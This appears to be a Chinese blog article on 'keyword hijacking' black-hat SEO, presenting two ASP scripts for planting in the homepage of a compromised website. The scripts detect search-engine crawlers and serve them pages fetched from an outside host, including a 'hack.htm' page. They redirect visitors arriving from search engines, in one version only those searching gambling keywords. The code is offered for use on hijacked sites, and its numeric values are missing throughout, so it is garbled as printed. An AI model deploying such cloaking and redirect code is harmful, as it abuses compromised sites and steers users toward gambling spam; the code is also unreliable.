搜索引擎关键词劫持之asp篇

时间:2023-03-09 08:48:37
搜索引擎关键词劫持之asp篇

摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断...

黑帽SEO代码一:

<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(,s_agent,"googlebot",) > then
GetBot="google"
end if
if instr(,s_agent,"msnbot",) > then
GetBot="MSN"
end if
if instr(,s_agent,"slurp",) > then
GetBot="Yahoo"
end if
if instr(,s_agent,"baiduspider",) > then
GetBot="baidu"
end if
if instr(,s_agent,"sohu-search",) > then
GetBot="Sohu"
end if
if instr(,s_agent,"lycos",) > then
GetBot="Lycos"
end if
if instr(,s_agent,"robozilla",) > then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<= then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type =
objstream.Mode =
objstream.Open
objstream.Write body
objstream.Position =
objstream.Type =
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="http://www.yunsec.net"
'想要展示给蜘蛛的页面地址
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'给google 蜘蛛定制的内容
url="http://www.yunsec.net"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")> then
'如果用户来自www.baidu.com
response.redirect("http://www.yunsec.net/")
'跳转指定地址
end if
%>

黑帽SEO二

<%
function hasKey()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
hasKey= false
if urlrefer="" then fromse= false
searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then hasKey=true
next
end function function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then fromse=true
next
end function function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i= to ubound(searray)
if (instr(agent,searray(i))>) then isspider=true
next
end function function gethttp(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<> then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<> then err.Clear
end function function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,))
If ThisCharCode < &H80 Then
strReturnstrReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+,))
strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
ii = i +
End If
Next
bytes2BSTR = strReturn
End function if(fromse() and hasKey()) then
Response.Redirect ("http://www.yunsec.net")
end if if(isspider()) then
dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl
bodyurl="http://www.yunsec.net/hack.htm"
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
end if %>